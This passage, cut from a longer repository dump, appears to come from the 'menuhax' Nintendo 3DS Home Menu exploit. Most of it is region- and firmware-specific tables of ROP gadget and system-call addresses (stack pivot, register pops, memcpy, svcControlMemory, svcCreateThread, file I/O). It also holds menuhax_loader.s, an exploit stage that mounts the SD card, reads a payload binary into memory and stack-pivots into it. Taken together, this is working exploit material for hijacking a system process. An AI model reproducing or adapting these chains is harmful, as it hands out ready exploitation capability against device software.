52 | #define GSPGPU_Shutdown 0x0011dc1c
53 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x003145b4
54 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x003145bc
55 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x003145c0
56 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x003145c8
57 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x003145cc
58 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/JPN/18432:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fdc
 2 | 
 3 | #define ROP_POPPC 0x0010e7b4
 4 | #define POP_R1PC 0x00226264
 5 | #define POP_R3PC 0x0010f86c
 6 | #define POP_R2R6PC 0x001512b4
 7 | #define POP_R4LR_BXR1 0x0011df5c
 8 | #define POP_R4R8LR_BXR2 0x00133f80
 9 | #define POP_R4R5R6PC 0x0010d504
10 | #define POP_R4FPPC 0x0010ef70
11 | #define POP_R4R8PC 0x0010d638
12 | 
13 | #define ROP_STR_R1TOR0 0x0011df14
14 | #define ROP_STR_R0TOR1 0x001123a8
15 | #define ROP_LDR_R0FROMR0 0x0010f01c
16 | #define ROP_ADDR0_TO_R1 0x0012b640
17 | 
18 | #define MEMCPY 0x00226780
19 | #define MEMSET32_OTHER 0x0022272c
20 | 
21 | #define svcControlMemory 0x0022467c
22 | #define svcSleepThread 0x0012b584
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014ab88
25 | #define GSPGPU_SERVHANDLEADR 0x00320f70
26 | 
27 | #define IFile_Read 0x00218aa8
28 | #define IFile_Write 0x0020d024
29 | 
30 | #define POP_R0PC 0x00154ef0
31 | #define ROP_LDRR1R1_STRR1R0 0x002003a0
32 | #define ROP_CMPR0R1 0x00294698
33 | #define ROP_INITOBJARRAY 0x00219031
34 | #define svcCreateThread 0x0010e618
35 | #define svcConnectToPort 0x0011c650
36 | #define svcGetProcessId 0x0012b568
37 | #define SRV_GETSERVICEHANDLE 0x002246d4
38 | #define CFGIPC_SecureInfoGetRegion 0x00136e98
39 | #define ROP_COND_THROWFATALERR 0x001028f8
40 | #define GXLOW_CMD4 0x0014ac8c
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x00143cd8
42 | #define FS_MountSdmc 0x0011cac0
43 | #define IFile_Open 0x00218ba8
44 | #define IFile_Close 0x0021dc48
45 | #define IFile_Seek 0x0020d7d0
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b574
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001037fc
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0031382c
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0024fcb4
50 | #define NSS_LaunchTitle 0x002201b8
51 | #define NSS_RebootSystem 0x00136a00
52 | #define GSPGPU_Shutdown 0x0011dc10
53 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x003145b4
54 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x003145bc
55 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x003145c0
56 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x003145c8
57 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x003145cc
58 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/USA/13330:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fdc
 2 | 
 3 | #define ROP_POPPC 0x0010e7b4
 4 | #define POP_R1PC 0x002262bc
 5 | #define POP_R3PC 0x0010f86c
 6 | #define POP_R2R6PC 0x001512c4
 7 | #define POP_R4LR_BXR1 0x0011df68
 8 | #define POP_R4R8LR_BXR2 0x00133f8c
 9 | #define POP_R4R5R6PC 0x0010d504
10 | #define POP_R4FPPC 0x0010ef70
11 | #define POP_R4R8PC 0x0010d638
12 | 
13 | #define ROP_STR_R1TOR0 0x0011df20
14 | #define ROP_STR_R0TOR1 0x001123a8
15 | #define ROP_LDR_R0FROMR0 0x0010f01c
16 | #define ROP_ADDR0_TO_R1 0x0012b64c
17 | 
18 | #define MEMCPY 0x002267d8
19 | #define MEMSET32_OTHER 0x00222784
20 | 
21 | #define svcControlMemory 0x002246d4
22 | #define svcSleepThread 0x0012b590
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014ab98
25 | #define GSPGPU_SERVHANDLEADR 0x00320f70
26 | 
27 | #define IFile_Read 0x00218b3c
28 | #define IFile_Write 0x0020d098
29 | 
30 | #define POP_R0PC 0x00154f0c
31 | #define ROP_LDRR1R1_STRR1R0 0x002003bc
32 | #define ROP_CMPR0R1 0x002946ac
33 | #define ROP_INITOBJARRAY 0x002190c5
34 | #define svcCreateThread 0x0010e618
35 | #define svcConnectToPort 0x0011c65c
36 | #define svcGetProcessId 0x0012b574
37 | #define SRV_GETSERVICEHANDLE 0x0022472c
38 | #define CFGIPC_SecureInfoGetRegion 0x00136ea4
39 | #define ROP_COND_THROWFATALERR 0x001028f8
40 | #define GXLOW_CMD4 0x0014ac9c
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x00143ce4
42 | #define FS_MountSdmc 0x0011cacc
43 | #define IFile_Open 0x00218c3c
44 | #define IFile_Close 0x0021dcdc
45 | #define IFile_Seek 0x0020d844
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b574
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001037fc
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0031382c
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0024fd0c
50 | #define NSS_LaunchTitle 0x0022024c
51 | #define NSS_RebootSystem 0x00136a0c
52 | #define GSPGPU_Shutdown 0x0011dc1c
53 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x003145b4
54 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x003145bc
55 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x003145c0
56 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x003145c8
57 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x003145cc
58 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/USA/14336:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fdc
 2 | 
 3 | #define ROP_POPPC 0x0010e7b4
 4 | #define POP_R1PC 0x0022629c
 5 | #define POP_R3PC 0x0010f86c
 6 | #define POP_R2R6PC 0x001512c4
 7 | #define POP_R4LR_BXR1 0x0011df68
 8 | #define POP_R4R8LR_BXR2 0x00133f8c
 9 | #define POP_R4R5R6PC 0x0010d504
10 | #define POP_R4FPPC 0x0010ef70
11 | #define POP_R4R8PC 0x0010d638
12 | 
13 | #define ROP_STR_R1TOR0 0x0011df20
14 | #define ROP_STR_R0TOR1 0x001123a8
15 | #define ROP_LDR_R0FROMR0 0x0010f01c
16 | #define ROP_ADDR0_TO_R1 0x0012b64c
17 | 
18 | #define MEMCPY 0x002267b8
19 | #define MEMSET32_OTHER 0x00222764
20 | 
21 | #define svcControlMemory 0x002246b4
22 | #define svcSleepThread 0x0012b590
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014ab98
25 | #define GSPGPU_SERVHANDLEADR 0x00320f70
26 | 
27 | #define IFile_Read 0x00218b1c
28 | #define IFile_Write 0x0020d098
29 | 
30 | #define POP_R0PC 0x00154f0c
31 | #define ROP_LDRR1R1_STRR1R0 0x002003bc
32 | #define ROP_CMPR0R1 0x002946d0
33 | #define ROP_INITOBJARRAY 0x002190a5
34 | #define svcCreateThread 0x0010e618
35 | #define svcConnectToPort 0x0011c65c
36 | #define svcGetProcessId 0x0012b574
37 | #define SRV_GETSERVICEHANDLE 0x0022470c
38 | #define CFGIPC_SecureInfoGetRegion 0x00136ea4
39 | #define ROP_COND_THROWFATALERR 0x001028f8
40 | #define GXLOW_CMD4 0x0014ac9c
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x00143ce4
42 | #define FS_MountSdmc 0x0011cacc
43 | #define IFile_Open 0x00218c1c
44 | #define IFile_Close 0x0021dcbc
45 | #define IFile_Seek 0x0020d844
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b574
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001037fc
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0031382c
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0024fcec
50 | #define NSS_LaunchTitle 0x0022022c
51 | #define NSS_RebootSystem 0x00136a0c
52 | #define GSPGPU_Shutdown 0x0011dc1c
53 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x003145b4
54 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x003145bc
55 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x003145c0
56 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x003145c8
57 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x003145cc
58 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/USA/15360:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fdc
 2 | 
 3 | #define ROP_POPPC 0x0010e7b4
 4 | #define POP_R1PC 0x00226264
 5 | #define POP_R3PC 0x0010f86c
 6 | #define POP_R2R6PC 0x001512b4
 7 | #define POP_R4LR_BXR1 0x0011df5c
 8 | #define POP_R4R8LR_BXR2 0x00133f80
 9 | #define POP_R4R5R6PC 0x0010d504
10 | #define POP_R4FPPC 0x0010ef70
11 | #define POP_R4R8PC 0x0010d638
12 | 
13 | #define ROP_STR_R1TOR0 0x0011df14
14 | #define ROP_STR_R0TOR1 0x001123a8
15 | #define ROP_LDR_R0FROMR0 0x0010f01c
16 | #define ROP_ADDR0_TO_R1 0x0012b640
17 | 
18 | #define MEMCPY 0x00226780
19 | #define MEMSET32_OTHER 0x0022272c
20 | 
21 | #define svcControlMemory 0x0022467c
22 | #define svcSleepThread 0x0012b584
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014ab88
25 | #define GSPGPU_SERVHANDLEADR 0x00320f70
26 | 
27 | #define IFile_Read 0x00218aa8
28 | #define IFile_Write 0x0020d024
29 | 
30 | #define POP_R0PC 0x00154ef0
31 | #define ROP_LDRR1R1_STRR1R0 0x002003a0
32 | #define ROP_CMPR0R1 0x00294698
33 | #define ROP_INITOBJARRAY 0x00219031
34 | #define svcCreateThread 0x0010e618
35 | #define svcConnectToPort 0x0011c650
36 | #define svcGetProcessId 0x0012b568
37 | #define SRV_GETSERVICEHANDLE 0x002246d4
38 | #define CFGIPC_SecureInfoGetRegion 0x00136e98
39 | #define ROP_COND_THROWFATALERR 0x001028f8
40 | #define GXLOW_CMD4 0x0014ac8c
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x00143cd8
42 | #define FS_MountSdmc 0x0011cac0
43 | #define IFile_Open 0x00218ba8
44 | #define IFile_Close 0x0021dc48
45 | #define IFile_Seek 0x0020d7d0
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b574
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001037fc
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0031382c
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0024fcb4
50 | #define NSS_LaunchTitle 0x002201b8
51 | #define NSS_RebootSystem 0x00136a00
52 | #define GSPGPU_Shutdown 0x0011dc10
53 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x003145b4
54 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x003145bc
55 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x003145c0
56 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x003145c8
57 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x003145cc
58 | 


--------------------------------------------------------------------------------
/menuhax_loader.s:
--------------------------------------------------------------------------------
 1 | @ This is intended to be included by an exploit .s stage0/stage1.
 2 | 
 3 | #define menuhaxloader_tmpdata 0x0FFF0000
 4 | #define menuhaxloader_IFile_ctx (menuhaxloader_tmpdata+4)
 5 | 
 6 | #ifndef STAGE1
 7 | CALLFUNC_NOSP FS_MountSdmc, ROPBUFLOC(menuhaxloader_sd_archivename), 0, 0, 0
 8 | #endif
 9 | 
10 | #ifdef STAGE1
11 | @ Close the file-ctx from stage0, then clear the ctx.
12 | ROPMACRO_IFile_Close menuhaxloader_IFile_ctx
13 | 
14 | CALLFUNC_NOSP MEMSET32_OTHER, menuhaxloader_IFile_ctx, 0x20, 0, 0
15 | #endif
16 | 
17 | @ Load the file into the buffer.
18 | 
19 | CALLFUNC_NOSP IFile_Open, menuhaxloader_IFile_ctx, ROPBUFLOC(menuhaxloader_sdfile_path), 1, 0
20 | 
21 | CALLFUNC_NOSP IFile_Read, menuhaxloader_IFile_ctx, menuhaxloader_tmpdata, MENUHAXLOADER_LOAD_BINADDR, MENUHAXLOADER_LOAD_SIZE
22 | 
23 | #ifdef STAGE1
24 | ROPMACRO_IFile_Close menuhaxloader_IFile_ctx
25 | #endif
26 | 
27 | #ifdef STAGE1
28 | @ Verify that the file was loaded successfully, on failure(first word in buf is 0x0) jump to menuhaxloader_returnaddr.
29 | ROPMACRO_CMPDATA MENUHAXLOADER_LOAD_BINADDR, 0x0, ROPBUFLOC(menuhaxloader_bootrop)
30 | ROPMACRO_STACKPIVOT ROPBUFLOC(menuhaxloader_returnaddr), ROP_POPPC
31 | #endif
32 | 
33 | menuhaxloader_bootrop:
34 | #ifdef STAGE1
35 | @ Write the sp return-addr(menuhaxloader_returnaddr) used during ret2menu to buffer+4.
36 | ROPMACRO_WRITEWORD (MENUHAXLOADER_LOAD_BINADDR+4), ROPBUFLOC(menuhaxloader_returnaddr)
37 | 
38 | @ Write the sp jump-addr(menuhaxloader_beforethreadexit) used right before the menuhax-thread exits, to buffer+8.
39 | ROPMACRO_WRITEWORD (MENUHAXLOADER_LOAD_BINADDR+8), ROPBUFLOC(menuhaxloader_beforethreadexit)
40 | #endif
41 | 
42 | @ Jump to the buffer.
43 | ROPMACRO_STACKPIVOT MENUHAXLOADER_LOAD_BINADDR, ROP_POPPC
44 | 
45 | #ifndef STAGE1
46 | menuhaxloader_sd_archivename:
47 | .string "sd:"
48 | .align 2
49 | #endif
50 | 
51 | menuhaxloader_sdfile_path:
52 | .string16 MENUHAXLOADER_BINPAYLOAD_PATH
53 | .align 2
54 | 
55 | #ifdef STAGE1
56 | ropkit_cmpobject:
57 | .word (ROPBUFLOC(ropkit_cmpobject) + 0x4) @ Vtable-ptr
58 | .fill (0x40 / 4), 4, STACKPIVOT_ADR @ Vtable
59 | #endif
60 | 
61 | menuhaxloader_returnaddr: @ The RET2MENU ROP starts here in the .s which included this menuhax_loader.s.
62 | 
63 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/KOR/6166:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fb8
 2 | 
 3 | #define ROP_POPPC 0x0010e5c0
 4 | #define POP_R1PC 0x00236fd4
 5 | #define POP_R3PC 0x0010f61c
 6 | #define POP_R2R6PC 0x001502c8
 7 | #define POP_R4LR_BXR1 0x0011a2c4
 8 | #define POP_R4R8LR_BXR2 0x001333dc
 9 | #define POP_R4R5R6PC 0x0010d3b8
10 | #define POP_R4FPPC 0x0010ee20
11 | #define POP_R4R8PC 0x0010d4e4
12 | 
13 | #define ROP_STR_R1TOR0 0x0011a27c
14 | #define ROP_STR_R0TOR1 0x00112198
15 | #define ROP_LDR_R0FROMR0 0x00118d38
16 | #define ROP_ADDR0_TO_R1 0x0012b0dc
17 | 
18 | #define MEMCPY 0x002374f0
19 | #define MEMSET32_OTHER 0x002338a8
20 | 
21 | #define svcControlMemory 0x002356c4
22 | #define svcSleepThread 0x0012b0a0
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014b754
25 | #define GSPGPU_SERVHANDLEADR 0x0033bfd8
26 | 
27 | #define IFile_Read 0x0022b93c
28 | #define IFile_Write 0x00220cdc
29 | 
30 | #define POP_R0PC 0x001576d4
31 | #define ROP_LDRR1R1_STRR1R0 0x00213f2c
32 | #define ROP_CMPR0R1 0x002a1894
33 | #define ROP_INITOBJARRAY 0x0022bed9
34 | #define svcCreateThread 0x0010e424
35 | #define svcConnectToPort 0x00118754
36 | #define svcGetProcessId 0x0012b084
37 | #define SRV_GETSERVICEHANDLE 0x0023571c
38 | #define CFGIPC_SecureInfoGetRegion 0x0013780c
39 | #define ROP_COND_THROWFATALERR 0x001028e4
40 | #define GXLOW_CMD4 0x0014b858
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x001457dc
42 | #define FS_MountSdmc 0x00118bc4
43 | #define IFile_Open 0x0022ba50
44 | #define IFile_Close 0x0022f7e8
45 | #define IFile_Seek 0x00221468
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b4b8
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001038c4
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0032e848
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0025b1a4
50 | #define NSS_LaunchTitle 0x002311f0
51 | #define NSS_RebootSystem 0x001373e8
52 | #define GSPGPU_Shutdown 0x00119f78
53 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_SLVAL 0x0032e738
54 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_R9VAL 0x0032e73c
55 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x0032f60c
56 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x0032f614
57 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x0032f618
58 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x0032f620
59 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x0032f624
60 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/KOR/7175:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fb8
 2 | 
 3 | #define ROP_POPPC 0x0010e528
 4 | #define POP_R1PC 0x00236d64
 5 | #define POP_R3PC 0x0010f538
 6 | #define POP_R2R6PC 0x0015040c
 7 | #define POP_R4LR_BXR1 0x0011a268
 8 | #define POP_R4R8LR_BXR2 0x00133380
 9 | #define POP_R4R5R6PC 0x0010d320
10 | #define POP_R4FPPC 0x0010ed3c
11 | #define POP_R4R8PC 0x0010d44c
12 | 
13 | #define ROP_STR_R1TOR0 0x0011a220
14 | #define ROP_STR_R0TOR1 0x001120b4
15 | #define ROP_LDR_R0FROMR0 0x00118cdc
16 | #define ROP_ADDR0_TO_R1 0x0012b080
17 | 
18 | #define MEMCPY 0x00237280
19 | #define MEMSET32_OTHER 0x0023362c
20 | 
21 | #define svcControlMemory 0x00235454
22 | #define svcSleepThread 0x0012b044
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014b898
25 | #define GSPGPU_SERVHANDLEADR 0x0033afd0
26 | 
27 | #define IFile_Read 0x0022b6d4
28 | #define IFile_Write 0x00220a78
29 | 
30 | #define POP_R0PC 0x00157818
31 | #define ROP_LDRR1R1_STRR1R0 0x00213cc8
32 | #define ROP_CMPR0R1 0x002a16f4
33 | #define ROP_INITOBJARRAY 0x0022bc71
34 | #define svcCreateThread 0x0010e38c
35 | #define svcConnectToPort 0x001186f8
36 | #define svcGetProcessId 0x0012b028
37 | #define SRV_GETSERVICEHANDLE 0x002354ac
38 | #define CFGIPC_SecureInfoGetRegion 0x001377b0
39 | #define ROP_COND_THROWFATALERR 0x001028e4
40 | #define GXLOW_CMD4 0x0014b99c
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x00145874
42 | #define FS_MountSdmc 0x00118b68
43 | #define IFile_Open 0x0022b7e8
44 | #define IFile_Close 0x0022f580
45 | #define IFile_Seek 0x00221204
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b420
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001038c4
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0032d848
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0025aff4
50 | #define NSS_LaunchTitle 0x00230f74
51 | #define NSS_RebootSystem 0x0013738c
52 | #define GSPGPU_Shutdown 0x00119f1c
53 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_SLVAL 0x0032d738
54 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_R9VAL 0x0032d73c
55 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x0032e604
56 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x0032e60c
57 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x0032e610
58 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x0032e618
59 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x0032e61c
60 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/KOR/8192:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fb8
 2 | 
 3 | #define ROP_POPPC 0x0010e554
 4 | #define POP_R1PC 0x00236ddc
 5 | #define POP_R3PC 0x0010f564
 6 | #define POP_R2R6PC 0x0015043c
 7 | #define POP_R4LR_BXR1 0x0011a294
 8 | #define POP_R4R8LR_BXR2 0x001333ac
 9 | #define POP_R4R5R6PC 0x0010d34c
10 | #define POP_R4FPPC 0x0010ed68
11 | #define POP_R4R8PC 0x0010d478
12 | 
13 | #define ROP_STR_R1TOR0 0x0011a24c
14 | #define ROP_STR_R0TOR1 0x001120e0
15 | #define ROP_LDR_R0FROMR0 0x00118d08
16 | #define ROP_ADDR0_TO_R1 0x0012b0ac
17 | 
18 | #define MEMCPY 0x002372f8
19 | #define MEMSET32_OTHER 0x002336a4
20 | 
21 | #define svcControlMemory 0x002354cc
22 | #define svcSleepThread 0x0012b070
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014b8c8
25 | #define GSPGPU_SERVHANDLEADR 0x0033afd0
26 | 
27 | #define IFile_Read 0x0022b74c
28 | #define IFile_Write 0x00220af0
29 | 
30 | #define POP_R0PC 0x00157848
31 | #define ROP_LDRR1R1_STRR1R0 0x00213d40
32 | #define ROP_CMPR0R1 0x002a17e4
33 | #define ROP_INITOBJARRAY 0x0022bce9
34 | #define svcCreateThread 0x0010e3b8
35 | #define svcConnectToPort 0x00118724
36 | #define svcGetProcessId 0x0012b054
37 | #define SRV_GETSERVICEHANDLE 0x00235524
38 | #define CFGIPC_SecureInfoGetRegion 0x001377dc
39 | #define ROP_COND_THROWFATALERR 0x001028e4
40 | #define GXLOW_CMD4 0x0014b9cc
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x001458a0
42 | #define FS_MountSdmc 0x00118b94
43 | #define IFile_Open 0x0022b860
44 | #define IFile_Close 0x0022f5f8
45 | #define IFile_Seek 0x0022127c
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b44c
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001038c4
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0032d848
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0025b0e4
50 | #define NSS_LaunchTitle 0x00230fec
51 | #define NSS_RebootSystem 0x001373b8
52 | #define GSPGPU_Shutdown 0x00119f48
53 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_SLVAL 0x0032d738
54 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_R9VAL 0x0032d73c
55 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x0032e604
56 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x0032e60c
57 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x0032e610
58 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x0032e618
59 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x0032e61c
60 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/KOR/9216:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fb8
 2 | 
 3 | #define ROP_POPPC 0x0010e554
 4 | #define POP_R1PC 0x00236ddc
 5 | #define POP_R3PC 0x0010f564
 6 | #define POP_R2R6PC 0x0015043c
 7 | #define POP_R4LR_BXR1 0x0011a294
 8 | #define POP_R4R8LR_BXR2 0x001333ac
 9 | #define POP_R4R5R6PC 0x0010d34c
10 | #define POP_R4FPPC 0x0010ed68
11 | #define POP_R4R8PC 0x0010d478
12 | 
13 | #define ROP_STR_R1TOR0 0x0011a24c
14 | #define ROP_STR_R0TOR1 0x001120e0
15 | #define ROP_LDR_R0FROMR0 0x00118d08
16 | #define ROP_ADDR0_TO_R1 0x0012b0ac
17 | 
18 | #define MEMCPY 0x002372f8
19 | #define MEMSET32_OTHER 0x002336a4
20 | 
21 | #define svcControlMemory 0x002354cc
22 | #define svcSleepThread 0x0012b070
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014b8c8
25 | #define GSPGPU_SERVHANDLEADR 0x0033afd0
26 | 
27 | #define IFile_Read 0x0022b74c
28 | #define IFile_Write 0x00220af0
29 | 
30 | #define POP_R0PC 0x00157848
31 | #define ROP_LDRR1R1_STRR1R0 0x00213d40
32 | #define ROP_CMPR0R1 0x002a17f8
33 | #define ROP_INITOBJARRAY 0x0022bce9
34 | #define svcCreateThread 0x0010e3b8
35 | #define svcConnectToPort 0x00118724
36 | #define svcGetProcessId 0x0012b054
37 | #define SRV_GETSERVICEHANDLE 0x00235524
38 | #define CFGIPC_SecureInfoGetRegion 0x001377dc
39 | #define ROP_COND_THROWFATALERR 0x001028e4
40 | #define GXLOW_CMD4 0x0014b9cc
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x001458a0
42 | #define FS_MountSdmc 0x00118b94
43 | #define IFile_Open 0x0022b860
44 | #define IFile_Close 0x0022f5f8
45 | #define IFile_Seek 0x0022127c
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b44c
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001038c4
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0032d848
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0025b0f8
50 | #define NSS_LaunchTitle 0x00230fec
51 | #define NSS_RebootSystem 0x001373b8
52 | #define GSPGPU_Shutdown 0x00119f48
53 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_SLVAL 0x0032d738
54 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_R9VAL 0x0032d73c
55 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x0032e604
56 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x0032e60c
57 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x0032e610
58 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x0032e618
59 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x0032e61c
60 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/EUR/16404:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fb8
 2 | 
 3 | #define ROP_POPPC 0x0010e5c0
 4 | #define POP_R1PC 0x00237040
 5 | #define POP_R3PC 0x0010f61c
 6 | #define POP_R2R6PC 0x001502c8
 7 | #define POP_R4LR_BXR1 0x0011a2c4
 8 | #define POP_R4R8LR_BXR2 0x001333dc
 9 | #define POP_R4R5R6PC 0x0010d3b8
10 | #define POP_R4FPPC 0x0010ee20
11 | #define POP_R4R8PC 0x0010d4e4
12 | 
13 | #define ROP_STR_R1TOR0 0x0011a27c
14 | #define ROP_STR_R0TOR1 0x00112198
15 | #define ROP_LDR_R0FROMR0 0x00118d38
16 | #define ROP_ADDR0_TO_R1 0x0012b0dc
17 | 
18 | #define MEMCPY 0x0023755c
19 | #define MEMSET32_OTHER 0x00233914
20 | 
21 | #define svcControlMemory 0x00235730
22 | #define svcSleepThread 0x0012b0a0
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014b754
25 | #define GSPGPU_SERVHANDLEADR 0x0033bfd8
26 | 
27 | #define IFile_Read 0x0022b9a8
28 | #define IFile_Write 0x00220d4c
29 | 
30 | #define POP_R0PC 0x001576d4
31 | #define ROP_LDRR1R1_STRR1R0 0x00213f9c
32 | #define ROP_CMPR0R1 0x002a19a8
33 | #define ROP_INITOBJARRAY 0x0022bf45
34 | #define svcCreateThread 0x0010e424
35 | #define svcConnectToPort 0x00118754
36 | #define svcGetProcessId 0x0012b084
37 | #define SRV_GETSERVICEHANDLE 0x00235788
38 | #define CFGIPC_SecureInfoGetRegion 0x0013780c
39 | #define ROP_COND_THROWFATALERR 0x001028e4
40 | #define GXLOW_CMD4 0x0014b858
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x001457dc
42 | #define FS_MountSdmc 0x00118bc4
43 | #define IFile_Open 0x0022babc
44 | #define IFile_Close 0x0022f854
45 | #define IFile_Seek 0x002214d8
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b4b8
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001038c4
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0032e848
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0025b210
50 | #define NSS_LaunchTitle 0x0023125c
51 | #define NSS_RebootSystem 0x001373e8
52 | #define GSPGPU_Shutdown 0x00119f78
